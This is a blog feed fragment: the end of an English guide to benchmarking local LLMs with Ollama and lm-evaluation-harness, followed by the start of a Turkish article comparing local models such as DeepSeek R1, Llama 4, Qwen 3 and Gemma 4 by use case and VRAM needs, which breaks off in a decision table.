&lt;h3 id="quick-inference-speed-test"&gt;Quick Inference Speed Test&lt;a class="headerlink" href="#quick-inference-speed-test" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Perform a simple time measurement with the Ollama CLI:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;qwen2.5-coder:32b&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Can you write Python code that reverses a linked list?"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="benchmarking-with-the-lm-studio-interface"&gt;Benchmarking with the LM Studio Interface&lt;a class="headerlink" href="#benchmarking-with-the-lm-studio-interface" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;LM Studio includes a built-in testing interface.
1.  Go to the &lt;strong&gt;Benchmarks&lt;/strong&gt; tab.
2.  Click on the &lt;strong&gt;Add Benchmark&lt;/strong&gt; option.
3.  Select one of the &lt;code&gt;HumanEval&lt;/code&gt;, &lt;code&gt;MMLU&lt;/code&gt;, or &lt;code&gt;LiveCodeBench&lt;/code&gt; tests.
4.  Select your model and start the test.&lt;/p&gt;
&lt;h3 id="detailed-performance-test-from-the-command-line-lm-evaluation-harness"&gt;Detailed Performance Test from the Command Line (lm-evaluation-harness)&lt;a class="headerlink" href="#detailed-performance-test-from-the-command-line-lm-evaluation-harness" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Download and install the test tool&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://github.com/EleutherAI/lm-evaluation-harness
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;lm-evaluation-harness
$&lt;span class="w"&gt; &lt;/span&gt;pip&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;-e&lt;span class="w"&gt; &lt;/span&gt;.

&lt;span class="c1"&gt;# Run the coding benchmark via the local API&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;lm_eval&lt;span class="w"&gt; &lt;/span&gt;--model&lt;span class="w"&gt; &lt;/span&gt;localchat&lt;span class="w"&gt; &lt;/span&gt;--model_args&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"temperature=0"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--tasks&lt;span class="w"&gt; &lt;/span&gt;humaneval&lt;span class="w"&gt; &lt;/span&gt;--batch_size&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;humaneval:&lt;/strong&gt; Measures Python code generation capability (164 different algorithmic problems).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;mmlu:&lt;/strong&gt; Tests general knowledge across 57 different subjects.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;aime2024:&lt;/strong&gt; Measures reasoning ability with math competition questions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;gpqadiamond:&lt;/strong&gt; Poses academic-level science questions.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="to-wrap-up_1"&gt;To Wrap Up&lt;a class="headerlink" href="#to-wrap-up" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In the local AI world, there is no single "best" model. The most logical approach is to choose the right model based on your hardware and the task you will perform. Qwen for coding, DeepSeek for reasoning, Gemma for speed, and Llama 4 for wide memory are the right choices, my friend. 🚀&lt;/p&gt;
&lt;p&gt;Instead of trying to make a single model do everything when setting up your workflow, distributing tasks will both save you time and ensure that you use your hardware resources in the most efficient way.&lt;/p&gt;
&lt;p&gt;Stay safe!&lt;/p&gt;
&lt;hr/&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Compiled from the official MATH-500 test data in the DeepSeek-R1 GitHub documentation.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Taken from the BentoML 2026 open-source model comparison report.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;Based on the HumanEval and MBPP benchmark data in the Qwen2.5-Coder technical report.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:4"&gt;
&lt;p&gt;Taken from Till Freitag's 2026 local model speed and inference tests.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:4" title="Jump back to footnote 4 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Geliştirme Araçları"/><category term="yapay-zeka"/><category term="yerel-llm"/><category term="deepseek-r1"/><category term="llama-4"/><category term="qwen-3"/><category term="gemma-4"/></entry><entry><title>En İyi Yerel LLM Modelleri (2026): Hangi Modeli Seçmelisin?</title><link href="https://yuceltoluyag.github.io/en-iyi-yerel-llm-modelleri-2026/" rel="alternate"/><published>2026-06-04T23:00:00+03:00</published><updated>2026-06-04T23:00:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-04:/en-iyi-yerel-llm-modelleri-2026/</id><summary type="html">&lt;p&gt;2026 yılında yerel yapay zeka dünyasını domine eden modelleri (DeepSeek R1, Llama 4, Qwen 3, Gemma 4) farklı kullanım senaryolarına ve donanım gereksinimlerine göre inceliyoruz.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ge&amp;ccedil;en sabah &amp;ccedil;al&amp;inodot;&amp;scedil;ma masamda kahvemi yudumlarken, diskimdeki yerel modelleri temizlemeye karar verdim. 💻 Ollama klas&amp;ouml;r&amp;uuml;ne girdi&amp;gbreve;imde g&amp;ouml;zlerime inanamad&amp;inodot;m: Onlarca farkl&amp;inodot; Llama, Qwen ve Gemma s&amp;uuml;r&amp;uuml;m&amp;uuml; gigabaytlarca yer kaplam&amp;inodot;&amp;scedil;, diskimi doldurmu&amp;scedil;tu. Kendi kendime, "Y&amp;uuml;cel, bunlar&amp;inodot;n hepsini neden tutuyorsun, hangisi ger&amp;ccedil;ekten i&amp;scedil;e yar&amp;inodot;yor?" diye sordum. Sonra d&amp;uuml;&amp;scedil;&amp;uuml;nd&amp;uuml;m; benim gibi bir&amp;ccedil;ok geli&amp;scedil;tirici de yerel AI d&amp;uuml;nyas&amp;inodot;nda hangi modeli se&amp;ccedil;ece&amp;gbreve;i konusunda kafa kar&amp;inodot;&amp;scedil;&amp;inodot;kl&amp;inodot;&amp;gbreve;&amp;inodot; ya&amp;scedil;&amp;inodot;yor.&lt;/p&gt;
&lt;p&gt;E&amp;gbreve;er siz de yerel yapay zekaya ge&amp;ccedil;mek istiyor ama hangi modeli se&amp;ccedil;ece&amp;gbreve;inizi bilmiyorsan&amp;inodot;z, ya da ekran kart&amp;inodot;n&amp;inodot;z&amp;inodot;n belle&amp;gbreve;inden (VRAM) maksimum verimi alacak modeli ar&amp;inodot;yorsan&amp;inodot;z do&amp;gbreve;ru yerdesiniz dostum. 🚀 Gelin, yerel yapay zekan&amp;inodot;n en iyilerini birlikte inceleyelim.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="genel-resim-2025ten-bu-yana-neler-degisti"&gt;Genel Resim: 2025'ten Bu Yana Neler De&amp;gbreve;i&amp;scedil;ti?&lt;a class="headerlink" href="#genel-resim-2025ten-bu-yana-neler-degisti" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Pratik i&amp;scedil;lerin &amp;ccedil;o&amp;gbreve;unda bulut servisleri ile yerel modeller aras&amp;inodot;ndaki u&amp;ccedil;urum neredeyse kapand&amp;inodot;. &amp;Idot;yi ayarlanm&amp;inodot;&amp;scedil; yerel bir 32B (milyar parametreli) model, g&amp;uuml;nl&amp;uuml;k i&amp;scedil;lerde GPT-4o ile yar&amp;inodot;&amp;scedil;&amp;inodot;r hale geldi. Peki bu s&amp;uuml;re&amp;ccedil;te neler yeni?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DeepSeek R1&lt;/strong&gt;, a&amp;ccedil;&amp;inodot;k kaynakl&amp;inodot; ak&amp;inodot;l y&amp;uuml;r&amp;uuml;tme (reasoning) modellerinin de en &amp;uuml;st ligle a&amp;scedil;&amp;inodot;k atabilece&amp;gbreve;ini kan&amp;inodot;tlad&amp;inodot; (MATH-500 testinde %97,3 ba&amp;scedil;ar&amp;inodot; gibi y&amp;uuml;ksek oranlarla).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Llama 4&lt;/strong&gt;, yerel d&amp;uuml;nyada yerle&amp;scedil;ik &amp;ccedil;oklu mod (g&amp;ouml;rsel/metin) deste&amp;gbreve;ini ve 10 milyon tokenl&amp;inodot;k devasa haf&amp;inodot;za limitini standart hale getirdi.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Qwen 3&lt;/strong&gt;, T&amp;uuml;rk&amp;ccedil;e deste&amp;gbreve;i, kod yazma becerisi ve yeni ad&amp;inodot;m ad&amp;inodot;m d&amp;uuml;&amp;scedil;&amp;uuml;nme moduyla taht&amp;inodot;n&amp;inodot; sa&amp;gbreve;lamla&amp;scedil;t&amp;inodot;rd&amp;inodot;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gemma 4&lt;/strong&gt;, Google'&amp;inodot;n t&amp;uuml;ketici s&amp;inodot;n&amp;inodot;f&amp;inodot; donan&amp;inodot;mlarda y&amp;uuml;ksek h&amp;inodot;z sunan hafif ama son derece yetenekli modeli olarak &amp;ouml;ne &amp;ccedil;&amp;inodot;kt&amp;inodot;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MoE (Mixture of Experts) Mimarisi&lt;/strong&gt; art&amp;inodot;k standart oldu. B&amp;ouml;ylece 17 milyar aktif parametre ile 70 milyar parametrelik modellerin kalitesine ula&amp;scedil;abiliyoruz.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="en-iyi-modellerin-karslastrmas"&gt;En &amp;Idot;yi Modellerin Kar&amp;scedil;&amp;inodot;la&amp;scedil;t&amp;inodot;rmas&amp;inodot; 📊&lt;a class="headerlink" href="#en-iyi-modellerin-karslastrmas" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="deepseek-r1-akl-yurutme-reasoning-zirvesi"&gt;DeepSeek R1 &amp;mdash; Ak&amp;inodot;l Y&amp;uuml;r&amp;uuml;tme (Reasoning) Zirvesi&lt;a class="headerlink" href="#deepseek-r1-akl-yurutme-reasoning-zirvesi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;DeepSeek R1, 2025'in ba&amp;scedil;lar&amp;inodot;nda yapay zeka d&amp;uuml;nyas&amp;inodot;nda deprem etkisi yaratt&amp;inodot;. GPT-o1 seviyesindeki ak&amp;inodot;l y&amp;uuml;r&amp;uuml;tme becerisini &amp;ccedil;ok daha d&amp;uuml;&amp;scedil;&amp;uuml;k e&amp;gbreve;itim maliyetiyle sundu. En b&amp;uuml;y&amp;uuml;k art&amp;inodot;s&amp;inodot;: Modele bir soru sordu&amp;gbreve;unuzda arkada nas&amp;inodot;l d&amp;uuml;&amp;scedil;&amp;uuml;nd&amp;uuml;&amp;gbreve;&amp;uuml;n&amp;uuml; (chain-of-thought) ad&amp;inodot;m ad&amp;inodot;m g&amp;ouml;rebiliyorsunuz. Bu modeli yerel sisteminizde en verimli &amp;scedil;ekilde nas&amp;inodot;l &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;raca&amp;gbreve;&amp;inodot;n&amp;inodot;z&amp;inodot; &amp;ouml;&amp;gbreve;renmek i&amp;ccedil;in &lt;a href="/yerel-llm-kurulum-rehberi-2026/"&gt;Kendi Sunucunda Yapay Zeka (2026)&lt;/a&gt; kurulum rehberimi takip edebilirsiniz.&lt;/p&gt;
&lt;p&gt;Dam&amp;inodot;t&amp;inodot;lm&amp;inodot;&amp;scedil; (distilled) s&amp;uuml;r&amp;uuml;mleri sayesinde bu g&amp;uuml;c&amp;uuml; evimizdeki bilgisayarlarda da &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rabiliyoruz:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Model Boyutu&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Gereken VRAM&lt;/th&gt;
&lt;th style="text-align: left;"&gt;&amp;Idot;deal Kullan&amp;inodot;m Yeri&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;7B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;6 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Diz&amp;uuml;st&amp;uuml; bilgisayarlarda h&amp;inodot;zl&amp;inodot; ak&amp;inodot;l y&amp;uuml;r&amp;uuml;tme&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;14B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;9 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Orta seviye sistemler i&amp;ccedil;in fiyat/performans zirvesi&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;32B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;20 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Karma&amp;scedil;&amp;inodot;k matematik ve mant&amp;inodot;k problemleri&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;G&amp;ouml;rselle&amp;scedil;tirilmi&amp;scedil; d&amp;uuml;&amp;scedil;&amp;uuml;nme a&amp;scedil;amalar&amp;inodot; &amp;ouml;zellikle hata ay&amp;inodot;klarken veya matematiksel mant&amp;inodot;k kurarken inan&amp;inodot;lmaz derecede i&amp;scedil;e yar&amp;inodot;yor. Ayr&amp;inodot;ca MIT lisans&amp;inodot;yla da&amp;gbreve;&amp;inodot;t&amp;inodot;lmas&amp;inodot;, ticari projelerde tamamen &amp;ouml;zg&amp;uuml;rce kullanabilece&amp;gbreve;imiz anlam&amp;inodot;na geliyor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ollama Komutu:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;deepseek-r1:14b
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="llama-4-coklu-mod-ve-devasa-hafza-context"&gt;Llama 4 &amp;mdash; &amp;Ccedil;oklu Mod ve Devasa Haf&amp;inodot;za (Context)&lt;a class="headerlink" href="#llama-4-coklu-mod-ve-devasa-hafza-context" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Meta'n&amp;inodot;n Llama 4 serisi yerel kullan&amp;inodot;m i&amp;ccedil;in iki ana se&amp;ccedil;enekle geliyor:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Llama 4 Scout:&lt;/strong&gt; Toplam 109B, aktif 17B parametreli. 10 milyon token haf&amp;inodot;za limitine sahip ve 24GB VRAM ile &amp;ccedil;al&amp;inodot;&amp;scedil;abiliyor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Llama 4 Maverick:&lt;/strong&gt; Toplam 400B, aktif 17B parametreli. En y&amp;uuml;ksek kaliteyi sunuyor ama &amp;ccedil;ift GPU istiyor.&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Llama 4, yerelde hem g&amp;ouml;rselleri/grafikleri okuyabilen hem de kitaplar dolusu d&amp;ouml;k&amp;uuml;man&amp;inodot; haf&amp;inodot;zas&amp;inodot;nda tutabilen en ba&amp;scedil;ar&amp;inodot;l&amp;inodot; model.&lt;/p&gt;
&lt;p&gt;Tek s&amp;inodot;k&amp;inodot;nt&amp;inodot; donan&amp;inodot;m gereksinimi. Scout s&amp;uuml;r&amp;uuml;m&amp;uuml; tek bir RTX 4090 ile &amp;ccedil;al&amp;inodot;&amp;scedil;abilirken, Maverick i&amp;ccedil;in &amp;ccedil;ift ekran kart&amp;inodot; veya g&amp;uuml;&amp;ccedil;l&amp;uuml; bir Mac Studio Ultra gerekiyor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ollama Komutu:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;llama4:scout
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="qwen-3-genel-kullanm-ve-kodlama-kral"&gt;Qwen 3 &amp;mdash; Genel Kullan&amp;inodot;m ve Kodlama Kral&amp;inodot;&lt;a class="headerlink" href="#qwen-3-genel-kullanm-ve-kodlama-kral" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Alibaba'n&amp;inodot;n Qwen serisi, ekran kart&amp;inodot; belle&amp;gbreve;i ba&amp;scedil;&amp;inodot;na d&amp;uuml;&amp;scedil;en zeka oran&amp;inodot;nda (quality-per-VRAM) sekt&amp;ouml;r&amp;uuml;n lideri. Qwen 3, &lt;code&gt;/think&lt;/code&gt; se&amp;ccedil;ene&amp;gbreve;iyle yerle&amp;scedil;ik bir d&amp;uuml;&amp;scedil;&amp;uuml;nme modunu da beraberinde getiriyor.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Model Boyutu&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Gereken VRAM&lt;/th&gt;
&lt;th style="text-align: left;"&gt;&amp;Idot;deal Kullan&amp;inodot;m Yeri&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;7B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;5 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;D&amp;uuml;&amp;scedil;&amp;uuml;k b&amp;uuml;t&amp;ccedil;eli kod yazma i&amp;scedil;leri&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;14B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;9 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;G&amp;uuml;nl&amp;uuml;k genel kullan&amp;inodot;m&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;32B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;20 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Profesyonel kod yazma asistan&amp;inodot;&lt;sup id="fnref:3"&gt;&lt;a class="footnote-ref" href="#fn:3"&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;72B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;44 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Sunucu ve kurumsal &amp;ccedil;&amp;ouml;z&amp;uuml;mler&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Kod yazma becerisi ger&amp;ccedil;ekten harika. Qwen 2.5 Coder 32B s&amp;uuml;r&amp;uuml;m&amp;uuml;, kendisinden &amp;uuml;&amp;ccedil; kat b&amp;uuml;y&amp;uuml;k modellerden daha temiz ve &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r kod &amp;uuml;retiyor. Ayr&amp;inodot;ca T&amp;uuml;rk&amp;ccedil;e dil hakimiyeti olduk&amp;ccedil;a y&amp;uuml;ksek.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ollama Komutu:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;qwen3:32b
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="gemma-4-hz-ve-verimlilik-sampiyonu"&gt;Gemma 4 &amp;mdash; H&amp;inodot;z ve Verimlilik &amp;Scedil;ampiyonu&lt;a class="headerlink" href="#gemma-4-hz-ve-verimlilik-sampiyonu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Google'&amp;inodot;n Gemma 4 modeli tam bir h&amp;inodot;z canavar&amp;inodot;. 27B parametreli MoE modeli, t&amp;uuml;ketici s&amp;inodot;n&amp;inodot;f&amp;inodot; ekran kartlar&amp;inodot;nda saniyede 85 kelime (token) &amp;uuml;retebiliyor.&lt;sup id="fnref:4"&gt;&lt;a class="footnote-ref" href="#fn:4"&gt;4&lt;/a&gt;&lt;/sup&gt; Bu h&amp;inodot;zda bu kaliteyi sunan ba&amp;scedil;ka bir alternatif yok.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Model Boyutu&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Gereken VRAM&lt;/th&gt;
&lt;th style="text-align: left;"&gt;&amp;Idot;deal Kullan&amp;inodot;m Yeri&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;1B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;2 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;K&amp;uuml;&amp;ccedil;&amp;uuml;k ak&amp;inodot;ll&amp;inodot; cihazlar&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;4B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;4 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Ultra h&amp;inodot;zl&amp;inodot; yan&amp;inodot;tlar&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;27B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;14 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;H&amp;inodot;z ve kalitenin bulu&amp;scedil;tu&amp;gbreve;u nokta&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;E&amp;gbreve;er yapay zekan&amp;inodot;n size an&amp;inodot;nda cevap vermesi en b&amp;uuml;y&amp;uuml;k &amp;ouml;nceli&amp;gbreve;inizse Gemma 4 sizin i&amp;ccedil;in en mant&amp;inodot;kl&amp;inodot; se&amp;ccedil;enek olacakt&amp;inodot;r.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ollama Komutu:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;gemma3:27b
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="karar-verme-semas_1"&gt;Karar Verme &amp;Scedil;emas&amp;inodot; ⚙️&lt;a class="headerlink" href="#karar-verme-semas" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Farkl&amp;inodot; g&amp;ouml;revler i&amp;ccedil;in tek bir model kullanmaya &amp;ccedil;al&amp;inodot;&amp;scedil;mak, elindeki tek &amp;Idot;svi&amp;ccedil;re &amp;ccedil;ak&amp;inodot;s&amp;inodot;yla evdeki t&amp;uuml;m mobilyalar&amp;inodot; monte etmeye &amp;ccedil;al&amp;inodot;&amp;scedil;mak gibidir. Hangi i&amp;scedil; i&amp;ccedil;in hangi modele y&amp;ouml;nelece&amp;gbreve;inizi g&amp;ouml;steren karar &amp;scedil;emas&amp;inodot;:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;&amp;Idot;htiyac&amp;inodot;n&amp;inodot;z&lt;/th&gt;
&lt;th style="text-align: left;"&gt;En &amp;Idot;yi Model&lt;/th&gt;
&lt;th style="text-align: left;"&gt;&amp;Ouml;ne &amp;Ccedil;&amp;inodot;kan Nedeni&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Kod Yazma&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Qwen 2.5 Coder 32B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;%92,7 HumanEval ba&amp;scedil;ar&amp;inodot;s&amp;inodot;, temiz kod &amp;uuml;retimi&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Matematik &amp;amp; Ak&amp;inodot;l Y&amp;uuml;r&amp;uuml;tme&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;DeepSeek R1&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Ad&amp;inodot;m ad&amp;inodot;m d&amp;uuml;&amp;scedil;&amp;uuml;nme a&amp;scedil;amalar&amp;inodot;n&amp;inodot; g&amp;ouml;sterebilmesi&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;G&amp;ouml;rsel &amp;amp; Grafik Okuma&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Llama 4 Maverick&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Yerle&amp;scedil;ik g&amp;ouml;rsel (multimodal) deste&amp;gbreve;i&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Uzun D&amp;ouml;k&amp;uuml;man Analizi&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Llama 4 Scout&lt;/td&gt;
&lt;td style="text-align: left;"&gt;10 milyon tokenl&amp;inodot;k devasa haf&amp;inodot;za&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Y&amp;uuml;ksek H&amp;inodot;z&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Gemma 4 27B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Saniyede 85 token &amp;uuml;retim kapasitesi&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Genel Sohbet&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Qwen 3 32B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;VRAM/Zeka oran&amp;inodot;ndaki kararl&amp;inodot;l&amp;inodot;&amp;gbreve;&amp;inodot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;D&amp;uuml;&amp;scedil;&amp;uuml;k Donan&amp;inodot;m (8GB VRAM)&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Llama 3.1 8B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;5 GB VRAM ile y&amp;uuml;ksek verim&lt;/td&gt;
